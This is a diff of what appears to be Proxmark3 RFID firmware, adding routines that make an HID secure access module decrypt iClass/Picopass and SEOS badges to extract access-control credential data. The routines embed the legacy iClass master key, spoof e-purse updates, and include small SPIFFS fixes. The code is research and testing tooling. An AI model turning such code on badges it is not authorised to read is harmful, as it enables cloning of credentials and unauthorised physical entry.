print_dbg("-- 1", resp, resp_len);
// -----------------------------------------------------------------------------
// second
// a0 da 02 63 0d 44 0a 44 00 00 00 a0 05 a1 03 80 01 04
hexstr_to_byte_array("a0da02630d440a44000000a005a103800104", sam_apdu, &sam_len);
if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) {
res = PM3_ECARDEXCHANGE;
goto out;
}
print_dbg("-- 2", resp, resp_len);
// TAG response
// -- 0c 05 de64 // read block 5
// Tag|c00a140a000000a110a10e8004 0c05de64 8102 0004 820201f4
// -----------------------------------------------------------------------------
// third AIA block 5
// a0da02631c140a00000000bd14a012a010800a ffffff0006fffffff88e 81020000
// picopass legacy is fixed. wants AIA and crc. ff ff ff ff ff ff ff ff ea f5
// picpoasss SE ff ff ff 00 06 ff ff ff f8 8e
hexstr_to_byte_array("a0da02631c140a00000000bd14a012a010800affffff0006fffffff88e81020000", sam_apdu, &sam_len);
memcpy(sam_apdu + 19, hdr.app_issuer_area, sizeof(hdr.app_issuer_area));
AddCrc(sam_apdu + 19, 8);
if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) {
res = PM3_ECARDEXCHANGE;
goto out;
}
print_dbg("-- 3", resp, resp_len);
// 88 02 -- readcheck (block2 epurse, start of auth)
// Tag|c00a140a000000a10ea10c8002 8802 8102 0004 820201f4 9000
// 61 16 f5 0a140a000000a10ea10c 8002 8802 8102 0004 820201f4 9000
// -----------------------------------------------------------------------------
// forth EPURSE
// a0da02631a140a00000000bd12a010a00e8008 ffffffffedffffff 81020000
hexstr_to_byte_array("a0da02631a140a00000000bd12a010a00e8008ffffffffedffffff81020000", sam_apdu, &sam_len);
memcpy(sam_apdu + 19, hdr.epurse, sizeof(hdr.epurse));
if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) {
res = PM3_ECARDEXCHANGE;
goto out;
}
print_dbg("-- 4", resp, resp_len);
uint8_t nr_mac[9] = {0};
memcpy(nr_mac, resp + 11, sizeof(nr_mac));
// resp here hold the whole NR/MAC
// 05 9bcd475e965ee20e // CHECK (w key)
print_dbg("NR/MAC", nr_mac, sizeof(nr_mac));
// c00a140a000000a115a1138009 059bcd475e965ee20e 8102 0004 820201f4 9000
// pre calc ourself?
// uint8_t cc_nr[] = {0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0, 0, 0, 0};
uint8_t div_key[8] = {0};
static uint8_t legacy_aa1_key[] = {0xAE, 0xA6, 0x84, 0xA6, 0xDA, 0xB2, 0x32, 0x78};
iclass_calc_div_key(hdr.csn, legacy_aa1_key, div_key, false);
uint8_t mac[4] = {0};
if (g_dbglevel == DBG_DEBUG) {
uint8_t wb[16] = {0};
memcpy(wb, hdr.epurse, sizeof(hdr.epurse));
memcpy(wb + sizeof(hdr.epurse), nr_mac + 1, 4);
print_dbg("cc_nr...", wb, sizeof(wb));
doMAC_N(wb, sizeof(wb), div_key, mac);
print_dbg("Calc MAC...", mac, sizeof(mac));
}
// start ssp clock again...
StartCountSspClk();
// NOW we auth against tag
uint8_t cmd_check[9] = { ICLASS_CMD_CHECK };
memcpy(cmd_check + 1, nr_mac + 1, 8);
start_time = GetCountSspClk();
iclass_send_as_reader(cmd_check, sizeof(cmd_check), &start_time, &eof_time, shallow_mod);
// expect a 10-byte response here
res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
if (res != PM3_SUCCESS || resp_len != 4) {
res = PM3_ECARDEXCHANGE;
goto out;
}
// store MAC
memcpy(mac, resp, sizeof(mac));
print_dbg("Got MAC", mac, sizeof(mac));
// -----------------------------------------------------------------------------
// fifth send received MAC
// A0DA026316140A00000000BD0EA00CA00A8004 311E32E9 81020000
hexstr_to_byte_array("A0DA026316140A00000000BD0EA00CA00A8004311E32E981020000", sam_apdu, &sam_len);
memcpy(sam_apdu + 19, mac, sizeof(mac));
if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) {
res = PM3_ECARDEXCHANGE;
goto out;
}
print_dbg("-- 5", resp, resp_len);
uint8_t tmp_p1[4] = {0};
uint8_t tmp_p2[4] = {0};
// c161c10000a11aa118800e8702 ffffffff88ffffff 0a914eb981020004820236b09000
memcpy(tmp_p1, resp + 13, sizeof(tmp_p1));
memcpy(tmp_p2, resp + 13 + 4, sizeof(tmp_p2));
// -----------------------------------------------------------------------------
// sixth send fake epurse update
// A0DA02631C140A00000000BD14A012A010800A 88FFFFFFFFFFFFFF9DE1 81020000
hexstr_to_byte_array("A0DA02631C140A00000000BD14A012A010800A88FFFFFFFFFFFFFF9DE181020000", sam_apdu, &sam_len);
memcpy(sam_apdu + 19, tmp_p2, sizeof(tmp_p1));
memcpy(sam_apdu + 19 + 4, tmp_p1, sizeof(tmp_p1));
AddCrc(sam_apdu + 19, 8);
if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) {
res = PM3_ECARDEXCHANGE;
goto out;
}
print_dbg("-- 6", resp, resp_len);
// c1 61 c1 00 00 a1 10 a1 0e 80 04 0c 06 45 56 81 02 00 04 82 02 01 f4 90 00
// read block 6
StartCountSspClk();
start_time = GetCountSspClk();
iclass_send_as_reader(resp + 11, 4, &start_time, &eof_time, shallow_mod);
// expect a 10-byte response here
res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
if (res != PM3_SUCCESS || resp_len != 10) {
res = PM3_ECARDEXCHANGE;
goto out;
}
print_dbg("Block 6 from Picopass", resp, resp_len);
// -----------------------------------------------------------------------------
// eight send block 6 config to SAM
// A0DA02631C140A00000000BD14A012A010800A 030303030003E0174323 81020000
hexstr_to_byte_array("A0DA02631C140A00000000BD14A012A010800A030303030003E017432381020000", sam_apdu, &sam_len);
memcpy(sam_apdu + 19, resp, resp_len);
if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) {
res = PM3_ECARDEXCHANGE;
goto out;
}
print_dbg("-- 7", resp, resp_len);
// c161c10000a110a10e8004 0606455681020004820201f49000
// read the credential blocks
StartCountSspClk();
start_time = GetCountSspClk();
iclass_send_as_reader(resp + 11, 4, &start_time, &eof_time, shallow_mod);
// expect a 10-byte response here
res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
if (res != PM3_SUCCESS) {
res = PM3_ECARDEXCHANGE;
goto out;
}
print_dbg("Block 6-9 from Picopass", resp, resp_len);
// -----------------------------------------------------------------------------
// nine send credential blocks to SAM
// A0DA026334140A00000000BD2CA02AA0288022 030303030003E017769CB4A198E0DEC82AD4C8211F9968712BE7393CF8E71D7E804C 81020000
hexstr_to_byte_array("A0DA026334140A00000000BD2CA02AA0288022030303030003E017769CB4A198E0DEC82AD4C8211F9968712BE7393CF8E71D7E804C81020000", sam_apdu, &sam_len);
memcpy(sam_apdu + 19, resp, resp_len);
if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) {
res = PM3_ECARDEXCHANGE;
goto out;
}
print_dbg("-- 8", resp, resp_len);
// -----------------------------------------------------------------------------
// TEN ask for PACS data
// A0DA02630C440A00000000BD04A0028200
hexstr_to_byte_array("A0DA02630C440A00000000BD04A0028200", sam_apdu, &sam_len);
memcpy(sam_apdu + 19, resp, resp_len);
if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) {
res = PM3_ECARDEXCHANGE;
goto out;
}
print_dbg("-- 9 response", resp, resp_len);
if (memcmp(resp, "\xc1\x64\x00\x00\x00\xbd\x17\x8a\x15", 9) == 0) {
res = PM3_ENOPACS;
goto out;
}
// c164000000bd098a07 030506951f9a00 9000
uint8_t *pacs = BigBuf_calloc(resp[8]);
memcpy(pacs, resp + 9, resp[8]);
print_dbg("-- 10 PACS data", pacs, resp[8]);
reply_ng(CMD_HF_SAM_PICOPASS, PM3_SUCCESS, pacs, resp[8]);
res = PM3_SUCCESS;
goto off;
out:
reply_ng(CMD_HF_SAM_PICOPASS, res, NULL, 0);
off:
switch_off();
BigBuf_free();
return res;
}
// HID SAM <-> MFC
// HID SAM <-> SEOS
/**
* @brief Sets the card detected status for the SAM (Secure Access Module).
*
* This function informs that a card has been detected by the reader and
* initializes SAM communication with the card.
*
* @param card_select Pointer to the descriptor of the detected card.
* @return Status code indicating success or failure of the operation.
*/
static int sam_set_card_detected_picopass(const picopass_hdr_t *card_select) {
int res = PM3_SUCCESS;
if (g_dbglevel >= DBG_DEBUG) {
DbpString("start sam_set_card_detected");
}
uint8_t *response = BigBuf_calloc(ISO7816_MAX_FRAME);
uint16_t response_len = ISO7816_MAX_FRAME;
// a0 12
// ad 10
// a0 0e
// 80 02
// 00 04 <- Picopass
// 81 08
// 9b fc a4 00 fb ff 12 e0 <- CSN
uint8_t payload[] = {
0xa0, 18, // <- SAM command
0xad, 16, // <- set detected card
0xa0, 4 + 10,
0x80, 2, // <- protocol
0x00, 0x04, // <- Picopass
0x81, 8, // <- CSN
card_select->csn[0], card_select->csn[1], card_select->csn[2], card_select->csn[3],
card_select->csn[4], card_select->csn[5], card_select->csn[6], card_select->csn[7]
};
uint16_t payload_len = sizeof(payload);
sam_send_payload(
0x44, 0x0a, 0x44,
payload,
&payload_len,
response,
&response_len
);
// resp:
// c1 64 00 00 00
// bd 02 <- response
// 8a 00 <- empty response (accepted)
// 90 00
if (response[5] != 0xbd) {
if (g_dbglevel >= DBG_ERROR)
Dbprintf("Invalid SAM response");
goto error;
} else {
// uint8_t * sam_response_an = sam_find_asn1_node(response + 5, 0x8a);
// if(sam_response_an == NULL){
// if (g_dbglevel >= DBG_ERROR)
// Dbprintf("Invalid SAM response");
// goto error;
// }
goto out;
}
error:
res = PM3_ESOFT;
out:
BigBuf_free();
if (g_dbglevel >= DBG_DEBUG) {
DbpString("end sam_set_card_detected");
}
return res;
}
/**
* @brief Retrieves PACS data from PICOPASS card using SAM.
*
* This function is called by appmain.c
* It sends a request to the SAM to get the PACS data from the PICOPASS card.
* The PACS data is then returned to the PM3 client.
*
* @return Status code indicating success or failure of the operation.
*/
int sam_picopass_get_pacs(PacketCommandNG *c) {
const uint8_t flags = c->data.asBytes[0];
const bool disconnectAfter = !!(flags & BITMASK(0));
const bool skipDetect = !!(flags & BITMASK(1));
const bool breakOnNrMac = !!(flags & BITMASK(2));
const bool preventEpurseUpdate = !!(flags & BITMASK(3));
const bool shallow_mod = !!(flags & BITMASK(4));
const bool info = !!(flags & BITMASK(5));
uint8_t *cmd = c->data.asBytes + 1;
uint16_t cmd_len = c->length - 1;
int res = PM3_EFAILED;
uint8_t sam_response[ISO7816_MAX_FRAME] = { 0x00 };
uint8_t sam_response_len = 0;
clear_trace();
I2C_Reset_EnterMainProgram();
set_tracing(true);
StartTicks();
// step 1: ping SAM
sam_get_version(info);
if (info) {
sam_get_serial_number();
goto out;
}
if (skipDetect == false) {
// step 2: get card information
picopass_hdr_t card_a_info;
uint32_t eof_time = 0;
// implicit StartSspClk() happens here
Iso15693InitReader();
if (select_iclass_tag(&card_a_info, false, &eof_time, shallow_mod) == false) {
goto err;
}
switch_clock_to_ticks();
// step 3: SamCommand CardDetected
sam_set_card_detected_picopass(&card_a_info);
}
// step 3: SamCommand RequestPACS, relay NFC communication
res = sam_send_request_iso15(cmd, cmd_len, sam_response, &sam_response_len, shallow_mod, breakOnNrMac, preventEpurseUpdate);
if (res != PM3_SUCCESS) {
goto err;
}
if (g_dbglevel >= DBG_INFO) {
print_result("Response data", sam_response, sam_response_len);
}
goto out;
err:
res = PM3_ENOPACS;
reply_ng(CMD_HF_SAM_PICOPASS, res, NULL, 0);
goto off;
out:
reply_ng(CMD_HF_SAM_PICOPASS, PM3_SUCCESS, sam_response, sam_response_len);
off:
if (disconnectAfter) {
switch_off();
}
set_tracing(false);
StopTicks();
BigBuf_free();
return res;
}

View file

@ -17,7 +17,9 @@
#define __SAM_PICOPASS_H
#include "common.h"
#include "sam_common.h"
#include "pm3_cmd.h"
int sam_picopass_get_pacs(void);
int sam_picopass_get_pacs(PacketCommandNG *c);
#endif

View file

@ -14,9 +14,320 @@
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
// Routines to support SEOS <-> SAM communication
// communication and ASN.1 messages based on https://github.com/bettse/seader/blob/main/seader.asn1
//-----------------------------------------------------------------------------
#include "sam_seos.h"
#include "sam_common.h"
#include "iclass.h"
#include "proxmark3_arm.h"
#include "iso14443a.h"
#include "iclass.h"
#include "crc16.h"
#include "proxmark3_arm.h"
#include "BigBuf.h"
#include "cmd.h"
#include "commonutil.h"
#include "ticks.h"
#include "dbprint.h"
#include "i2c.h"
#include "protocols.h"
#include "optimized_cipher.h"
#include "fpgaloader.h"
#include "pm3_cmd.h"
#include "cmd.h"
/**
* @brief Sets the card detected status for the SAM (Secure Access Module).
*
* This function informs that a card has been detected by the reader and
* initializes SAM communication with the card.
*
* @param card_select Pointer to the descriptor of the detected card.
* @return Status code indicating success or failure of the operation.
*/
static int sam_set_card_detected_seos(iso14a_card_select_t *card_select) {
int res = PM3_SUCCESS;
if (g_dbglevel >= DBG_DEBUG) {
DbpString("start sam_set_card_detected");
}
uint8_t *request = BigBuf_calloc(ISO7816_MAX_FRAME);
uint16_t request_len = ISO7816_MAX_FRAME;
uint8_t *response = BigBuf_calloc(ISO7816_MAX_FRAME);
uint16_t response_len = ISO7816_MAX_FRAME;
const uint8_t payload[] = {
0xa0, 8, // <- SAM command
0xad, 6, // <- set detected card
0xa0, 4, // <- detected card details
0x80, 2, // <- protocol
0x00, 0x02 // <- ISO14443A
};
memcpy(request, payload, sizeof(payload));
sam_append_asn1_node(request, request + 4, 0x81, card_select->uid, card_select->uidlen);
sam_append_asn1_node(request, request + 4, 0x82, card_select->atqa, 2);
sam_append_asn1_node(request, request + 4, 0x83, &card_select->sak, 1);
request_len = request[1] + 2;
sam_send_payload(
0x44, 0x0a, 0x44,
request,
&request_len,
response,
&response_len
);
// resp:
// c1 64 00 00 00
// bd 02 <- response
// 8a 00 <- empty response (accepted)
// 90 00
if (response[5] != 0xbd) {
if (g_dbglevel >= DBG_ERROR)
Dbprintf("Invalid SAM response");
goto error;
} else {
// uint8_t * sam_response_an = sam_find_asn1_node(response + 5, 0x8a);
// if(sam_response_an == NULL){
// if (g_dbglevel >= DBG_ERROR)
// Dbprintf("Invalid SAM response");
// goto error;
// }
goto out;
}
error:
res = PM3_ESOFT;
out:
BigBuf_free();
if (g_dbglevel >= DBG_DEBUG) {
DbpString("end sam_set_card_detected");
}
return res;
}
/**
* @brief Sends a request to the SAM and retrieves the response.
*
* Unpacks request to the SAM and relays ISO14A traffic to the card.
* If no request data provided, sends a request to get PACS data.
*
* @param request Pointer to the buffer containing the request to be sent to the SAM.
* @param request_len Length of the request to be sent to the SAM.
* @param response Pointer to the buffer where the retreived data will be stored.
* @param response_len Pointer to the variable where the length of the retreived data will be stored.
* @return Status code indicating success or failure of the operation.
*/
static int sam_send_request_iso14a(const uint8_t *const request, const uint8_t request_len, uint8_t *response, uint8_t *response_len) {
int res = PM3_SUCCESS;
if (g_dbglevel >= DBG_DEBUG) {
DbpString("start sam_send_request_iso14a");
}
uint8_t *buf1 = BigBuf_calloc(ISO7816_MAX_FRAME);
uint8_t *buf2 = BigBuf_calloc(ISO7816_MAX_FRAME);
if (buf1 == NULL || buf2 == NULL) {
res = PM3_EMALLOC;
goto out;
}
uint8_t *sam_tx_buf = buf1;
uint16_t sam_tx_len;
uint8_t *sam_rx_buf = buf2;
uint16_t sam_rx_len;
uint8_t *nfc_tx_buf = buf1;
uint16_t nfc_tx_len;
uint8_t *nfc_rx_buf = buf2;
uint16_t nfc_rx_len;
if (request_len > 0) {
sam_tx_len = request_len;
memcpy(sam_tx_buf, request, sam_tx_len);
} else {
// send get pacs
static const uint8_t payload[] = {
0xa0, 19, // <- SAM command
0xBE, 17, // <- samCommandGetContentElement2
0x80, 1,
0x04, // <- implicitFormatPhysicalAccessBits
0x84, 12,
0x2B, 0x06, 0x01, 0x04, 0x01, 0x81, 0xE4, 0x38, 0x01, 0x01, 0x02, 0x04 // <- SoRootOID
};
sam_tx_len = sizeof(payload);
memcpy(sam_tx_buf, payload, sam_tx_len);
}
sam_send_payload(
0x44, 0x0a, 0x44,
sam_tx_buf, &sam_tx_len,
sam_rx_buf, &sam_rx_len
);
if (sam_rx_buf[1] == 0x61) { // commands to be relayed to card starts with 0x61
// tag <-> SAM exchange starts here
while (sam_rx_buf[1] == 0x61) {
switch_clock_to_countsspclk();
nfc_tx_len = sam_copy_payload_sam2nfc(nfc_tx_buf, sam_rx_buf);
nfc_rx_len = iso14_apdu(nfc_tx_buf, nfc_tx_len, false, nfc_rx_buf, ISO7816_MAX_FRAME, NULL);
// iceman: should check nfc_rx_len , if negative something went wrong...
switch_clock_to_ticks();
sam_tx_len = sam_copy_payload_nfc2sam(sam_tx_buf, nfc_rx_buf, nfc_rx_len - 2);
sam_send_payload(0x14, 0x0a, 0x14, sam_tx_buf, &sam_tx_len, sam_rx_buf, &sam_rx_len);
// last SAM->TAG
// c1 61 c1 00 00 a1 02 >>82<< 00 90 00
if (sam_rx_buf[7] == 0x82) {
// tag <-> SAM exchange ends here
break;
}
}
static const uint8_t hfack[] = {
0xbd, 0x04, 0xa0, 0x02, 0x82, 0x00
};
sam_tx_len = sizeof(hfack);
memcpy(sam_tx_buf, hfack, sam_tx_len);
sam_send_payload(
0x14, 0x0a, 0x00,
sam_tx_buf, &sam_tx_len,
sam_rx_buf, &sam_rx_len
);
}
// resp for SamCommandGetContentElement:
// c1 64 00 00 00
// bd 09
// 8a 07
// 03 05 <- include tag for pm3 client
// 06 85 80 6d c0 <- decoded PACS data
// 90 00
// resp for samCommandGetContentElement2:
// c1 64 00 00 00
// bd 1e
// b3 1c
// a0 1a
// 80 05
// 06 85 80 6d c0
// 81 0e
// 2b 06 01 04 01 81 e4 38 01 01 02 04 3c ff
// 82 01
// 07
// 90 00
if (request_len == 0) {
if (
!(sam_rx_buf[5] == 0xbd && sam_rx_buf[5 + 2] == 0x8a && sam_rx_buf[5 + 4] == 0x03) &&
!(sam_rx_buf[5] == 0xbd && sam_rx_buf[5 + 2] == 0xb3 && sam_rx_buf[5 + 4] == 0xa0)
) {
if (g_dbglevel >= DBG_ERROR) {
Dbprintf("No PACS data in SAM response");
}
res = PM3_ESOFT;
}
}
*response_len = sam_rx_buf[5 + 1] + 2;
memcpy(response, sam_rx_buf + 5, *response_len);
out:
BigBuf_free();
return res;
}
/**
* @brief Retrieves PACS data from SEOS card using SAM.
*
* This function is called by appmain.c
* It sends a request to the SAM to get the PACS data from the SEOS card.
* The PACS data is then returned to the PM3 client.
*
* @return Status code indicating success or failure of the operation.
*/
int sam_seos_get_pacs(PacketCommandNG *c) {
const uint8_t flags = c->data.asBytes[0];
const bool disconnectAfter = !!(flags & BITMASK(0));
const bool skipDetect = !!(flags & BITMASK(1));
uint8_t *cmd = c->data.asBytes + 1;
uint16_t cmd_len = c->length - 1;
int res = PM3_EFAILED;
clear_trace();
I2C_Reset_EnterMainProgram();
set_tracing(true);
StartTicks();
// step 1: ping SAM
sam_get_version(false);
if (skipDetect == false) {
// step 2: get card information
iso14a_card_select_t card_a_info;
// implicit StartSspClk() happens here
iso14443a_setup(FPGA_HF_ISO14443A_READER_MOD);
if (iso14443a_select_card(NULL, &card_a_info, NULL, true, 0, false) == 0) {
goto err;
}
switch_clock_to_ticks();
// step 3: SamCommand CardDetected
sam_set_card_detected_seos(&card_a_info);
}
// step 3: SamCommand RequestPACS, relay NFC communication
uint8_t sam_response[ISO7816_MAX_FRAME] = { 0x00 };
uint8_t sam_response_len = 0;
res = sam_send_request_iso14a(cmd, cmd_len, sam_response, &sam_response_len);
if (res != PM3_SUCCESS) {
goto err;
}
if (g_dbglevel >= DBG_INFO) {
print_result("Response data", sam_response, sam_response_len);
}
goto out;
err:
res = PM3_ENOPACS;
reply_ng(CMD_HF_SAM_SEOS, res, NULL, 0);
goto off;
out:
reply_ng(CMD_HF_SAM_SEOS, PM3_SUCCESS, sam_response, sam_response_len);
off:
if (disconnectAfter) {
switch_off();
}
set_tracing(false);
StopTicks();
BigBuf_free();
return res;
}

View file

@ -17,5 +17,8 @@
#define __SAM_SEOS_H
#include "common.h"
#include "pm3_cmd.h"
int sam_seos_get_pacs(PacketCommandNG *c);
#endif

View file

@ -18,7 +18,6 @@
// SPIFFS api for RDV40 Integration
//-----------------------------------------------------------------------------
#define SPIFFS_CFG_PHYS_SZ (1024 * 192)
#define SPIFFS_CFG_PHYS_ERASE_SZ (4 * 1024)
#define SPIFFS_CFG_PHYS_ADDR (0)
#define SPIFFS_CFG_LOG_PAGE_SZ (256)
@ -313,7 +312,7 @@ static int is_valid_filename(const char *filename) {
*/
static void copy_in_spiffs(const char *src, const char *dst) {
uint32_t size = size_in_spiffs(src);
uint8_t *mem = BigBuf_malloc(size);
uint8_t *mem = BigBuf_calloc(size);
read_from_spiffs(src, (uint8_t *)mem, size);
write_to_spiffs(dst, (uint8_t *)mem, size);
}
@ -578,19 +577,25 @@ int rdv40_spiffs_make_symlink(const char *linkdest, const char *filename, RDV40S
// preexistence, avoiding a link being created if filename exists, or avoiding a file being created if
// symlink exists with same name
int rdv40_spiffs_read_as_filetype(const char *filename, uint8_t *dst, uint32_t size, RDV40SpiFFSSafetyLevel level) {
RDV40_SPIFFS_SAFE_FUNCTION(
RDV40SpiFFSFileType filetype = filetype_in_spiffs((char *)filename);
switch (filetype) {
case RDV40_SPIFFS_FILETYPE_REAL:
case RDV40_SPIFFS_FILETYPE_REAL: {
rdv40_spiffs_read(filename, dst, size, level);
break;
case RDV40_SPIFFS_FILETYPE_SYMLINK:
}
case RDV40_SPIFFS_FILETYPE_SYMLINK: {
rdv40_spiffs_read_as_symlink(filename, dst, size, level);
break;
}
case RDV40_SPIFFS_FILETYPE_BOTH:
case RDV40_SPIFFS_FILETYPE_UNKNOWN:
default:
default: {
break;
}
}
)
}
@ -652,11 +657,14 @@ void rdv40_spiffs_safe_print_tree(void) {
read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN);
sprintf(resolvedlink, "(.lnk) --> %s", linkdest);
// Kind of stripping the .lnk extension
strtok((char *)pe->name, ".");
char *linkname = (char *)pe->name;
int len = strlen(linkname);
if (len >= 4 && strcmp(&linkname[len - 4], ".lnk") == 0) {
linkname[len - 4] = '\0';
}
}
Dbprintf("[%04x] " _YELLOW_("%5i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink);
Dbprintf("[%04u] " _YELLOW_("%5i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink);
printed = true;
}
if (printed == false) {
@ -684,10 +692,10 @@ void rdv40_spiffs_safe_wipe(void) {
read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN);
remove_from_spiffs(linkdest);
Dbprintf(".lnk removed %s", pe->name);
Dbprintf("removed %s", linkdest);
remove_from_spiffs((char *)pe->name);
Dbprintf("removed %s", linkdest);
Dbprintf(".lnk removed %s", pe->name);
} else {
remove_from_spiffs((char *)pe->name);

Some files were not shown because too many files have changed in this diff Show more